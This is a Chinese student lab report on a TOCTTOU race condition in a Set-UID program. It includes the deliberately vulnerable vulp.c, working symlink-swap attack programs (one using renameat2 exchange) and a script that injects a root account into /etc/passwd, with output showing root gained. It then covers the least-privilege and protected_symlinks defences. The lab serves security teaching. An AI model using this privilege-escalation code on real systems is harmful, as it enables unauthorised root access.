Race Condition实验报告

57119101 王晨阳

2021年4月5日

实验目的

了解竞态，学会竞态攻击，掌握竞态保护方法。

实验步骤

禁用保护措施

```
seed@VM:~$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
```

设置Set-UID程序

- 编写有TOCTTOU竞态漏洞的程序`vulp.c`

```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK))
    {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");

    return 0;
}
```

- 编译并将二进制文件设置为root所有的Set-UID程序

```
seed@VM:~/Desktop$ gcc vulp.c -o vulp
seed@VM:~/Desktop$ sudo chown root vulp
seed@VM:~/Desktop$ sudo chmod 4755 vulp
```

TASK 1 选择目标文件

- 检验root权限账户的创建

```
seed@VM:~/Desktop$ sudo gedit /etc/passwd
```

在末尾加入 `test:U6aMy0wojraho:0:0:test:/root:/bin/bash`

检验是否可以无密码登录并拥有root权限

```
seed@VM:~/Desktop$ su test
Password:
root@VM:/home/seed/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
```

TASK 2.A 发动攻击

- 编写攻击进程 `attack_process.c`

```c
#include <unistd.h>

int main()
{
    while(1)
    {
        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ"); usleep(1000);
        unlink("/tmp/XYZ"); symlink("/etc/passwd", "/tmp/XYZ"); usleep(1000);
    }

    return 0;
}
```

编译并运行

```
seed@VM:~/Desktop$ gcc attack_process.c -o attack_process
seed@VM:~/Desktop$ ./attack_process
```

- 编写执行漏洞进程的脚本 `target_process.sh`

  ```bash
  #!/bin/bash

  CHECK_FILE="ls -l /etc/passwd"
  old=$($CHECK_FILE)
  new=$($CHECK_FILE)
  while [ "$old" == "$new" ]
  do
      ./vulp < passwd_input
      new=$($CHECK_FILE)
  done
  echo "STOP... The passwd file has been changed"
  ```

- 新建 `input_file`

  ```
  test:U6aMy0wojraho:0:0:test:/root:/bin/bash
  ```

- 新建Terminal运行

  ```
  seed@VM:~/Desktop$ bash target_process.sh
  ```

  再重新运行

  ```
  seed@VM:~/Desktop$ bash target_process.sh
  No permission
  No permission
  No permission
  No permission
  No permission
  No permission
  No permission
  STOP... The passwd file has been changed
  seed@VM:~/Desktop$ cat /etc/passwd | grep test
  test:U6aMy0wojraho:0:0:test:/root:/bin/bash
  seed@VM:~/Desktop$ su test
  Password:
  root@VM:/home/seed/Desktop# id
  uid=0(root) gid=0(root) groups=0(root)
  ```

TASK 2.B 改进攻击方法

编写攻击进程 `attack_process.c`

```c
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main()
{
    while(1)
    {
        unsigned int flags = RENAME_EXCHANGE;

        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");

        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }

    return 0;
}
```

编译并运行

```
seed@VM:~/Desktop$ gcc attack_process.c -o attack_process
seed@VM:~/Desktop$ ./attack_process
```

新建Terminal运行

```
seed@VM:~/Desktop$ bash target_process.sh
No permission
No permission
STOP... The passwd file has been changed
seed@VM:~/Desktop$ cat /etc/passwd | grep test
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
seed@VM:~/Desktop$ su test
Password:
root@VM:/home/seed/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
```

TASK 3 应用最小权限原则

将 `vulp.c` 更改为

```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();

    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    seteuid(real_uid); // a new line

    if(!access(fn, W_OK))
    {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");

    seteuid(eff_uid);

    return 0;
}
```

重复之前的操作

```
seed@VM:~/Desktop$ gcc vulp.c -o vulp
seed@VM:~/Desktop$ sudo chown root vulp
seed@VM:~/Desktop$ sudo chmod 4755 vulp
seed@VM:~/Desktop$ ./attack_process
```

```
seed@VM:~/Desktop$ bash target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
target_process.sh: line 10:  3267 Segmentation fault      ./vulp < passwd_input
No permission
No permission
No permission
target_process.sh: line 10:  3277 Segmentation fault      ./vulp < passwd_input
```

发现始终为`No permission`。

TASK 4 使用Ubuntu内置保护措施

把`vulp`改回原来的状态，然后打开保护措施

```
seed@VM:~/Desktop$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
```

重复之前的操作

```
seed@VM:~/Desktop$ ./attack_process
```

```
seed@VM:~/Desktop$ bash target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
target_process.sh: line 10:  4955 Segmentation fault      ./vulp < passwd_input
No permission
No permission
target_process.sh: line 10:  4957 Segmentation fault      ./vulp < passwd_input
```

发现始终为 `No permission` 。

结果分析

TASK 2.A

在某个时间，发生如下情况：

1. `/tmp/XYZ` 被 `attack_process` 指向 `dev/null`
2. `vulp` 运行到了 `access()` ，因为 `/dev/null` 是全局可写，所以 `access()` 判定为true
3. 此时， `attack_process` 恰好将 `/tmp/XYZ` 指向了 `/etc/passwd`
4. `vulp` 执行了 `fopen()` ，信息被写入 `etc/passwd` ，修改成功

TASK 2.B

在 TASK 2.A 中，我们在某一个时间实现了竞态，这个时间具有极大的偶然性。在这一节中，我们先将 `/tmp/XYZ` 指向 `dev/null` 、 `/tmp/ABC` 指向 `/etc/passwd` ，然后交换两个链接。这样做的好处在于，我们将原来偶然发生的竞态概率大大提高。

TASK 3

the Principle of Least Privilege 的核心思想是在需要使用root的时候再使用root，在其他的时间，我们使用实际的UID进行我们的程序操作。

因此，我们在 `access()` 之前，加入了 `seteuid()` ，其可以在程序中设定我们的effective UID，避免出现错误赋予低权限用户高权限操作的漏洞。

> 同时，出现了很多 `segment fault` 。这是因为在我们修改EID之后，事实上在用seed操作root的内容，导致 `segment fault` 。

TASK 4

通过查阅 https://www.kernel.org/doc/Documentation/sysctl/fs.txt ，我们了解了该保护措施的原理：

```
protected_symlinks:

A long-standing class of security issues is the symlink-based
time-of-check-time-of-use race, most commonly seen in world-writable
directories like /tmp. The common method of exploitation of this flaw
is to cross privilege boundaries when following a given symlink (i.e. a
root process follows a symlink belonging to another user). For a likely
incomplete list of hundreds of examples across the years, please see:
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp

When set to "0", symlink following behavior is unrestricted.

When set to "1" symlinks are permitted to be followed only when outside
a sticky world-writable directory, or when the uid of the symlink and
follower match, or when the directory owner matches the symlink's owner.

This protection is based on the restrictions in Openwall and grsecurity.
```

简而言之，就是只有当在全局可写目录外、或者符号链接的uid和指向的目录相匹配、或者目录所有者和符号链接所有者一致时，才能够起作用。

实验体会

通过本次实验，掌握了竞态的基本原理，学习了竞态攻击的方法，加深了对操作系统概念的理解。提高了动手能力，解决问题的能力得到强化。